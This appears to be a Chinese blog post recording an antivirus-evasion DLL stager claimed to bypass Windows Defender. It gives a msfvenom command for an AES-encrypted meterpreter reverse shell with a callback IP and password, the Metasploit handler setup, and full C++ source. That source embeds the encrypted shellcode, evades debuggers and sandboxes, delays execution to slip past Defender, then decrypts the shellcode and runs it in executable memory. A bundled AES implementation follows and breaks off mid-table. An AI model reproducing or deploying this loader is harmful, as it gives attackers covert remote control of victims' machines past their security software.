x64 dll免杀2022-11-20能过defender
仅做学习记录
项目地址：https://github.com/phackt/stager.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 EXIT_FUNC=PROCESS LHOST=192.168.3.4 LPORT=4433 SessionRetryTotal=60 RC4PASSWORD=KliikBjsjwl221 --encrypt aes256 --encrypt-iv A1a0eCXCCB0YzS4j --encrypt-key 1ASMkFxcyhwXehNZw048ca11h1BCzyyR -f c
msf6 >use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp_rc4
payload => windows/x64/meterpreter/reverse_tcp_rc4
msf6 exploit(multi/handler) > set lhost 192.168.3.4
lhost => 192.168.3.4
msf6 exploit(multi/handler) > set lport 4433
lport => 4433
msf6 exploit(multi/handler) > set rc4password KliikBjsjwl221
rc4password => KliikBjsjwl221
源文件 stager.cpp
#define CBC 1
#include "aes.h"
#include <Windows.h>
#include <Wininet.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <iostream>
#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Wininet.lib")
using namespace std;
#define PAYLOADLENGTH 650
#define IV "A1a0eCXCCB0YzS4j"
#define KEY "1ASMkFxcyhwXehNZw048ca11h1BCzyyR"
#define CLASSNAME "111111"
#define WINDOWTITLE "11111"
unsigned char buf[] =
"\x1e\xdf\x46\x01\x61\xcf\x72\x3b\xba\xf3\xa6\x72\x46\x47\x82"
"\xdd\x84\x28\x1f\x71\xa7\xfc\x9e\xc6\x42\x04\xc6\x86\xca\xfa"
"\x5e\xad\xca\x7a\x3f\xd1\xee\xdb\xa3\x21\xfb\x75\x2d\x65\x66"
"\x66\x72\x28\x5d\x0d\x3b\xe7\xf6\x3e\xb7\xb6\x20\x24\x72\xd6"
"\x71\x29\xd9\x01\x07\x94\x64\x26\x2a\xff\x39\xa2\xa1\x5b\x81"
"\x35\xdb\x01\x6f\x50\x9d\xa5\x20\x29\x0a\x53\xa3\xe4\xdb\xda"
"\x25\x7c\x71\xa0\xd7\xd9\x96\x08\xa1\x5f\x20\x30\xd8\xc6\x8a"
"\xbe\xc6\xdf\x49\x0d\x94\x16\xb7\x78\x97\x5b\xee\x0f\x89\x00"
"\x2c\x31\x7a\x60\x75\x14\x90\xba\x9a\x1e\xce\x13\x8e\x9e\x93"
"\xf4\x45\x09\x2d\x7e\x88\x3d\xda\x7e\xc1\xc6\xcf\xed\x08\x5d"
"\xb7\x18\xfe\xbf\xa7\x60\xae\xc8\x12\x58\xc1\x25\x9f\x95\x04"
"\x1a\xb5\xb8\xc3\xc5\xa1\x9e\x20\x94\x51\x99\x3f\xeb\x9f\x00"
"\x37\x7c\x17\xa1\xd0\xdd\xbf\xfe\xc9\xbd\x12\x45\x4d\x5e\xe7"
"\xed\x2e\xb3\xe1\x20\x46\xcd\x59\x5e\xcc\xd3\x85\x97\x79\x1d"
"\x22\x75\x6e\x81\x9b\xa8\xc1\xab\xe6\x29\x7d\xf5\x92\x36\x69"
"\x78\x10\x99\x66\xdf\xa8\xd6\x79\x70\xa3\xe9\xbc\x98\xb8\x4e"
"\x60\x4b\xc2\xc7\x36\xbb\x6c\xa6\x79\xff\x5c\x91\x6b\xe8\xc5"
"\xb6\x88\x06\xf8\x4d\x0a\x2d\x9c\x52\xe7\xc0\x98\x0f\x5d\x6e"
"\xf1\x41\x98\x81\xc9\xa3\x98\x19\xd9\x1f\x99\xc8\x8d\x21\xe1"
"\xe0\xcd\x31\x92\x76\xfa\x1f\x3f\xc4\xd2\xef\x13\xbb\x0e\xbe"
"\x8e\x53\x8e\x1a\x7a\xbb\xf8\xd5\xef\xdf\x11\x42\xe1\xde\x4c"
"\xc6\x39\x62\x62\x4c\xf0\xb7\xe6\x40\x1b\x3d\x21\xe4\xb3\xe8"
"\xfb\x87\xe1\xae\xc5\x18\x8e\x1c\x34\x4d\x67\x3d\x04\x24\x82"
"\xa5\xeb\xbf\x78\xbf\x6b\xe7\x10\xda\x83\x54\x90\xe8\x6f\x38"
"\xa1\x13\xbb\xe2\x4a\x99\x0f\x3d\x78\xf1\xd9\x31\xa9\x21\xff"
"\x4d\xae\x07\xaa\x2f\x0b\x8c\xd8\x16\x55\xa5\xcc\xf3\x20\xc6"
"\x99\x6b\x3c\x67\x93\xc1\x10\xeb\x47\xdb\xca\xda\x5d\x9d\xd0"
"\xdd\x6e\xb4\xd9\x2e\x8d\x0f\x82\x07\xb8\xf5\xdd\x72\x83\x37"
"\xbc\x92\x00\x3b\xb8\x0c\xbb\xb7\x26\x07\x95\xc5\xce\xbb\x90"
"\x47\xee\x16\x69\xca\x52\xe8\x38\x04\x58\xb2\x51\x93\xc7\x26"
"\x07\xdc\x83\xba\xee\x47\x77\x95\x4b\x3d\xba\x17\x1a\xcf\x66"
"\x74\x38\x21\x69\x27\x64\xdd\x80\xca\xd5\xa3\xfd\x9a\x00\x25"
"\xdd\x8c\x1e\x98\x49\x0f\xf9\x1b\xbc\x5b\x82\xaf\x06\x67\xb6"
"\xea\xf3\x3c\xcc\xce\x0f\xf2\xbc\x3e\xa3\xf0\x77\x9f\xce\x7a"
"\xf3\x56\x88\x1a\x49\x86\x4c\x32\x8d\x75\xec\x3d\x86\x8e\x15"
"\xed\xb7\xa9\x4c\x08\xf7\x51\x17\x8a\x81\xec\xeb\x8b\x6a\xbe"
"\x78\xe7\xba\x86\x4c\x68\x1a\x50\xf4\x6c\xf8\x3b\x35\x9e\x1b"
"\x16\x9d\x7e\x68\x74\xf9\x05\x39\x3e\xa4\x07\x5c\x94\x68\x6a"
"\xe5\x1e\x7a\x11\x60\xd8\x4e\xc8\xa0\xd8\x12\xf0\x48\x39\xbb"
"\x4b\xb7\xf9\xd4\x07\x56\x76\x0f\x2a\xc5\x06\xa8\x94\xfa\x1b"
"\x9f\xbb\x5a\xe9\xbb\x3f\xc1\xfe\x7d\x40\xdf\x75\x11\x80\xd9"
"\x37\x83\x03\x64\x00\xc2\x82\x9e\x18\xfe\xe6\x56\xaa\x23\xd4"
"\x5a\x54\x92\x0c\xd1\x24\x78\x8f\x8d\x8f\x20\x3a\xd2\x5b\xfb"
"\x0e\x02\xc5\x37\x80\xdf\x78\x4c\x5c\x56\x04";
const int ENCRYPTEDBUFFERLENGTH = sizeof(buf);
namespace Aes256MsfPayload {
class Utils {
public:
static char IsDbgPresent() {
if (IsDebuggerPresent())
{
return 1;
}
return 0;
}
static bool IsSandboxPresent() {
// Non-uniform memory access (NUMA) is a computer memory design used in multiprocessing,
// where the memory access time depends on the memory location relative to the processor.
// https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf
return VirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0) == NULL;
}
static DWORD WINAPI ExecuteCode(LPVOID lpPayload) {
void(*func)();
func = (void(*)()) lpPayload;
(void)(*func)();
return 0;
}
};
class CryptoUtils {
public:
static void AES256Decrypt(uint8_t* uString, uint8_t* uIv, const char* uKey) {
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, uKey, uIv);
AES_CBC_decrypt_buffer(&ctx, uString, PAYLOADLENGTH);
// The last byte needs to a null-byte terminator to read correctly.
memcpy((char*)uString + PAYLOADLENGTH, "\x00", 1);
}
};
class ExecuteGenericPayload {
public:
void Start() {
TCHAR s[256];
LPVOID lpPayload = VirtualAlloc(NULL, ENCRYPTEDBUFFERLENGTH, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpPayload) {
ZeroMemory(lpPayload, ENCRYPTEDBUFFERLENGTH);
memcpy(lpPayload, buf, ENCRYPTEDBUFFERLENGTH);
}
else {
return;
}
// uint8_t : 8 unsigned bits
uint8_t* uPayload = (uint8_t*)lpPayload;
uint8_t* uIv = (uint8_t*)IV;
//uint8_t* uKey = (uint8_t*)KEY;
CryptoUtils::AES256Decrypt(uPayload, uIv, KEY);
// Also useful to bypass Sandboxing
// AFAIK it's working for Windows Defender
Sleep(10000);
Utils::ExecuteCode(uPayload);
}
};
}
extern "C" __declspec(dllexport) void Exec() {
if (!Aes256MsfPayload::Utils::IsDbgPresent() && !Aes256MsfPayload::Utils::IsSandboxPresent()) {
Aes256MsfPayload::ExecuteGenericPayload* p = new Aes256MsfPayload::ExecuteGenericPayload();
try {
p->Start();
delete(p);
}
catch (const std::exception &e) {
}
}
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
源文件 aes.cpp
#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include "aes.h"
typedef uint8_t state_t[4][4];
static const uint8_t sbox[256] = {
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };
static const uint8_t rsbox[256] = {
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
static const uint8_t Rcon[11] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };
#define getSBoxValue(num) (sbox[(num)])
#define getSBoxInvert(num) (rsbox[(num)])
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key, bool isAES256)
{
const unsigned int Nb = 4;
const unsigned int Nk = (isAES256) ? 8 : 4;
const unsigned int Nr = (isAES256) ? 14 : 10;
unsigned i, j, k;
uint8_t tempa[4];
memcpy(RoundKey, Key, (isAES256) ? AES_256_keyExpSize : AES_128_keyExpSize);
for (i = Nk; i < Nb * (Nr + 1); ++i)
{
k = (i - 1) * 4;
tempa[0] = RoundKey[k + 0];
tempa[1] = RoundKey[k + 1];
tempa[2] = RoundKey[k + 2];
tempa[3] = RoundKey[k + 3];
if (i % Nk == 0)
{
k = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = (uint8_t)k;
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
tempa[0] = tempa[0] ^ Rcon[i / Nk];
}
if (isAES256)
{
if (i % Nk == 4)
{
// Function Subword()
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
}
j = i * 4; k = (i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}
void AES_init_ctx(struct AES_ctx* ctx, const char* key)
{
if (key)
{
int c = strlen(key);
if (c == AES_128_KEYLEN)
ctx->isAES256 = false;
else if (c == AES_256_KEYLEN)
ctx->isAES256 = true;
KeyExpansion(ctx->RoundKey, (const uint8_t*)key, ctx->isAES256);
}
}
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
{
memcpy(ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_init_ctx_iv(struct AES_ctx* ctx, const char* key, const uint8_t* iv)
{
AES_init_ctx(ctx, key);
AES_ctx_set_iv(ctx, iv);
}
static void AddRoundKey(uint8_t round, state_t* state, uint8_t* RoundKey, bool isAES256)
{
const int Nb = 4;
const int Nk = (isAES256) ? 8 : 4;
const int Nr = (isAES256) ? 14 : 10;
(void)Nk;
(void)Nr;
int offset = round * Nb * 4;
int k = 0;
for (int i = 0; i < 4; ++i)
{
(*state)[i][0] ^= RoundKey[offset + k + 0];
(*state)[i][1] ^= RoundKey[offset + k + 1];
(*state)[i][2] ^= RoundKey[offset + k + 2];
(*state)[i][3] ^= RoundKey[offset + k + 3];
k += Nb;
}
}
static void SubBytes(state_t* state)
{
for (int i = 0; i < 4; ++i)
{
(*state)[0][i] = getSBoxValue((*state)[0][i]);
(*state)[1][i] = getSBoxValue((*state)[1][i]);
(*state)[2][i] = getSBoxValue((*state)[2][i]);
(*state)[3][i] = getSBoxValue((*state)[3][i]);
}
}
static void ShiftRows(state_t* state)
{
uint8_t temp;
temp = (*state)[0][1];
(*state)[0][1] = (*state)[1][1];
(*state)[1][1] = (*state)[2][1];
(*state)[2][1] = (*state)[3][1];
(*state)[3][1] = temp;
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
temp = (*state)[0][3];
(*state)[0][3] = (*state)[3][3];
(*state)[3][3] = (*state)[2][3];
(*state)[2][3] = (*state)[1][3];
(*state)[1][3] = temp;
}
#define xtime(x) (((x)<<1) ^ ((((x)>>7) & 1) * 0x1b))
static void MixColumns(state_t* state)
{
uint8_t Tmp;
uint8_t a, b, c, d;
for (int i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];
Tmp = a ^ b ^ c ^ d;
(*state)[i][0] ^= xtime(a ^ b) ^ Tmp;
(*state)[i][1] ^= xtime(b ^ c) ^ Tmp;
(*state)[i][2] ^= xtime(c ^ d) ^ Tmp;
(*state)[i][3] ^= xtime(d ^ a) ^ Tmp;
}
}
#if 0
static uint8_t Multiply(uint8_t x, uint8_t y)
{
uint8_t xn[5];
xn[0] = x;
xn[1] = xtime(xn[0]);
xn[2] = xtime(xn[1]);
xn[3] = xtime(xn[2]);
xn[4] = xtime(xn[3]);
return
((y & 1) * xn[0]) ^
((y >> 1 & 1) * xn[1]) ^
((y >> 2 & 1) * xn[2]) ^
((y >> 3 & 1) * xn[3]) ^
((y >> 4 & 1) * xn[4]);
}
static void InvMixColumns(state_t* state)
{
uint8_t a, b, c, d;
for (int i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];
(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
#else
static void InvMixColumns(state_t* state)
{
const static uint8_t mul_9[] = {
0x00,0x09,0x12,0x1b,0x24,0x2d,0x36,0x3f,0x48,0x41,0x5a,0x53,0x6c,0x65,0x7e,0x77,
0x90,0x99,0x82,0x8b,0xb4,0xbd,0xa6,0xaf,0xd8,0xd1,0xca,0xc3,0xfc,0xf5,0xee,0xe7,
0x3b,0x32,0x29,0x20,0x1f,0x16,0x0d,0x04,0x73,0x7a,0x61,0x68,0x57,0x5e,0x45,0x4c,
0xab,0xa2,0xb9,0xb0,0x8f,0x86,0x9d,0x94,0xe3,0xea,0xf1,0xf8,0xc7,0xce,0xd5,0xdc,
0x76,0x7f,0x64,0x6d,0x52,0x5b,0x40,0x49,0x3e,0x37,0x2c,0x25,0x1a,0x13,0x08,0x01,
0xe6,0xef,0xf4,0xfd,0xc2,0xcb,0xd0,0xd9,0xae,0xa7,0xbc,0xb5,0x8a,0x83,0x98,0x91,
0x4d,0x44,0x5f,0x56,0x69,0x60,0x7b,0x72,0x05,0x0c,0x17,0x1e,0x21,0x28,0x33,0x3a,
0xdd,0xd4,0xcf,0xc6,0xf9,0xf0,0xeb,0xe2,0x95,0x9c,0x87,0x8e,0xb1,0xb8,0xa3,0xaa,
0xec,0xe5,0xfe,0xf7,0xc8,0xc1,0xda,0xd3,0xa4,0xad,0xb6,0xbf,0x80,0x89,0x92,0x9b,
0x7c,0x75,0x6e,0x67,0x58,0x51,0x4a,0x43,0x34,0x3d,0x26,0x2f,0x10,0x19,0x02,0x0b,
0xd7,0xde,0xc5,0xcc,0xf3,0xfa,0xe1,0xe8,0x9f,0x96,0x8d,0x84,0xbb,0xb2,0xa9,0xa0,
0x47,0x4e,0x55,0x5c,0x63,0x6a,0x71,0x78,0x0f,0x06,0x1d,0x14,0x2b,0x22,0x39,0x30,
0x9a,0x93,0x88,0x81,0xbe,0xb7,0xac,0xa5,0xd2,0xdb,0xc0,0xc9,0xf6,0xff,0xe4,0xed,
0x0a,0x03,0x18,0x11,0x2e,0x27,0x3c,0x35,0x42,0x4b,0x50,0x59,0x66,0x6f,0x74,0x7d,
0xa1,0xa8,0xb3,0xba,0x85,0x8c,0x97,0x9e,0xe9,0xe0,0xfb,0xf2,0xcd,0xc4,0xdf,0xd6,
0x31,0x38,0x23,0x2a,0x15,0x1c,0x07,0x0e,0x79,0x70,0x6b,0x62,0x5d,0x54,0x4f,0x46 };
const static uint8_t mul_11[] = {
0x00,0x0b,0x16,0x1d,0x2c,0x27,0x3a,0x31,0x58,0x53,0x4e,0x45,0x74,0x7f,0x62,0x69,
0xb0,0xbb,0xa6,0xad,0x9c,0x97,0x8a,0x81,0xe8,0xe3,0xfe,0xf5,0xc4,0xcf,0xd2,0xd9,
0x7b,0x70,0x6d,0x66,0x57,0x5c,0x41,0x4a,0x23,0x28,0x35,0x3e,0x0f,0x04,0x19,0x12,
0xcb,0xc0,0xdd,0xd6,0xe7,0xec,0xf1,0xfa,0x93,0x98,0x85,0x8e,0xbf,0xb4,0xa9,0xa2,
0xf6,0xfd,0xe0,0xeb,0xda,0xd1,0xcc,0xc7,0xae,0xa5,0xb8,0xb3,0x82,0x89,0x94,0x9f,
0x46,0x4d,0x50,0x5b,0x6a,0x61,0x7c,0x77,0x1e,0x15,0x08,0x03,0x32,0x39,0x24,0x2f,
0x8d,0x86,0x9b,0x90,0xa1,0xaa,0xb7,0xbc,0xd5,0xde,0xc3,0xc8,0xf9,0xf2,0xef,0xe4,
0x3d,0x36,0x2b,0x20,0x11,0x1a,0x07,0x0c,0x65,0x6e,0x73,0x78,0x49,0x42,0x5f,0x54,
0xf7,0xfc,0xe1,0xea,0xdb,0xd0,0xcd,0xc6,0xaf,0xa4,0xb9,0xb2,0x83,0x88,0x95,0x9e,
0x47,0x4c,0x51,0x5a,0x6b,0x60,0x7d,0x76,0x1f,0x14,0x09,0x02,0x33,0x38,0x25,0x2e,
0x8c,0x87,0x9a,0x91,0xa0,0xab,0xb6,0xbd,0xd4,0xdf,0xc2,0xc9,0xf8,0xf3,0xee,0xe5,
0x3c,0x37,0x2a,0x21,0x10,0x1b,0x06,0x0d,0x64,0x6f,0x72,0x79,0x48,0x43,0x5e,0x55,
0x01,0x0a,0x17,0x1c,0x2d,0x26,0x3b,0x30,0x59,0x52,0x4f,0x44,0x75,0x7e,0x63,0x68,
0xb1,0xba,0xa7,0xac,0x9d,0x96,0x8b,0x80,0xe9,0xe2,0xff,0xf4,0xc5,0xce,0xd3,0xd8,
0x7a,0x71,0x6c,0x67,0x56,0x5d,0x40,0x4b,0x22,0x29,0x34,0x3f,0x0e,0x05,0x18,0x13,
0xca,0xc1,0xdc,0xd7,0xe6,0xed,0xf0,0xfb,0x92,0x99,0x84,0x8f,0xbe,0xb5,0xa8,0xa3 };
const static uint8_t mul_13[] = {
0x00,0x0d,0x1a,0x17,0x34,0x39,0x2e,0x23,0x68,0x65,0x72,0x7f,0x5c,0x51,0x46,0x4b,
0xd0,0xdd,0xca,0xc7,0xe4,0xe9,0xfe,0xf3,0xb8,0xb5,0xa2,0xaf,0x8c,0x81,0x96,0x9b,
0xbb,0xb6,0xa1,0xac,0x8f,0x82,0x95,0x98,0xd3,0xde,0xc9,0xc4,0xe7,0xea,0xfd,0xf0,
0x6b,0x66,0x71,0x7c,0x5f,0x52,0x45,0x48,0x03,0x0e,0x19,0x14,0x37,0x3a,0x2d,0x20,
0x6d,0x60,0x77,0x7a,0x59,0x54,0x43,0x4e,0x05,0x08,0x1f,0x12,0x31,0x3c,0x2b,0x26,
0xbd,0xb0,0xa7,0xaa,0x89,0x84,0x93,0x9e,0xd5,0xd8,0xcf,0xc2,0xe1,0xec,0xfb,0xf6,
0xd6,0xdb,0xcc,0xc1,0xe2,0xef,0xf8,0xf5,0xbe,0xb3,0xa4,0xa9,0x8a,0x87,0x90,0x9d,
0x06,0x0b,0x1c,0x11,0x32,0x3f,0x28,0x25,0x6e,0x63,0x74,0x79,0x5a,0x57,0x40,0x4d,
0xda,0xd7,0xc0,0xcd,0xee,0xe3,0xf4,0xf9,0xb2,0xbf,0xa8,0xa5,0x86,0x8b,0x9c,0x91,
0x0a,0x07,0x10,0x1d,0x3e,0x33,0x24,0x29,0x62,0x6f,0x78,0x75,0x56,0x5b,0x4c,0x41,
0x61,0x6c,0x7b,0x76,0x55,0x58,0x4f,0x42,0x09,0x04,0x13,0x1e,0x3d,0x30,0x27,0x2a,
0xb1,0xbc,0xab,0xa6,0x85,0x88,0x9f,0x92,0xd9,0xd4,0xc3,0xce,0xed,0xe0,0xf7,0xfa,
0xb7,0xba,0xad,0xa0,0x83,0x8e,0x99,0x94,0xdf,0xd2,0xc5,0xc8,0xeb,0xe6,0xf1,0xfc,
0x67,0x6a,0x7d,0x70,0x53,0x5e,0x49,0x44,0x0f,0x02,0x15,0x18,0x3b,0x36,0x21,0x2c,
0x0c,0x01,0x16,0x1b,0x38,0x35,0x22,0x2f,0x64,0x69,0x7e,0x73,0x50,0x5d,0x4a,0x47,
0xdc,0xd1,0xc6,0xcb,0xe8,0xe5,0xf2,0xff,0xb4,0xb9,0xae,0xa3,0x80,0x8d,0x9a,0x97 };
const static uint8_t mul_14[] = {
0x00,0x0e,0x1c,0x12,0x38,0x36,0x24,0x2a,0x70,0x7e,0x6c,0x62,0x48,0x46,0x54,0x5a,
0xe0,0xee,0xfc,0xf2,0xd8,0xd6,0xc4,0xca,0x90,0x9e,0x8c,0x82,0xa8,0xa6,0xb4,0xba,
0xdb,0xd5,0xc7,0xc9,0xe3,0xed,0xff,0xf1,0xab,0xa5,0xb7,0xb9,0x93,0x9d,0x8f,0x81,
0x3b,0x35,0x27,0x29,0x03,0x0d,0x1f,0x11,0x4b,0x45,0x57,0x59,0x73,0x7d,0x6f,0x61,
0xad,0xa3,0xb1,0xbf,0x95,0x9b,0x89,0x87,0xdd,0xd3,0xc1,0xcf,0xe5,0xeb,0xf9,0xf7,
0x4d,0x43,0x51,0x5f,0x75,0x7b,0x69,0x67,0x3d,0x33,0x21,0x2f,0x05,0x0b,0x19,0x17,
0x76,0x78,0x6a,0x64,0x4e,0x40,0x52,0x5c,0x06,0x08,0x1a,0x14,0x3e,0x30,0x22,0x2c,
0x96,0x98,0x8a,0x84,0xae,0xa0,0xb2,0xbc,0xe6,0xe8,0xfa,0xf4,0xde,0xd0,0xc2,0xcc,
0x41,0x4f,0x5d,0x53,0x79,0x77,0x65,0x6b,0x31,0x3f,0x2d,0x23,0x09,0x07,0x15,0x1b,
0xa1,0xaf,0xbd,0xb3,0x99,0x97,0x85,0x8b,0xd1,0xdf,0xcd,0xc3,0xe9,0xe7,0xf5,0xfb,
0x9a,0x94,0x86,0x88,0xa2,0xac,0xbe,0xb0,0xea,0xe4,0xf6,0xf8,0xd2,0xdc,0xce,0xc0,
0x7a,0x74,0x66,0x68,0x42,0x4c,0x5e,0x50,0x0a,0x04,0x16,0x18,0x32,0x3c,0x2e,0x20,
0xec,0xe2,0xf0,0xfe,0xd4,0xda,0xc8,0xc6,0x9c,0x92,0x80,0x8e,0xa4,0xaa,0xb8,0xb6,
0x0c,0x02,0x10,0x1e,0x34,0x3a,0x28,0x26,0x7c,0x72,0x60,0x6e,0x44,0x4a,0x58,0x56,
0x37,0x39,0x2b,0x25,0x0f,0x01,0x13,0x1d,0x47,0x49,0x5b,0x55,0x7f,0x71,0x63,0x6d,
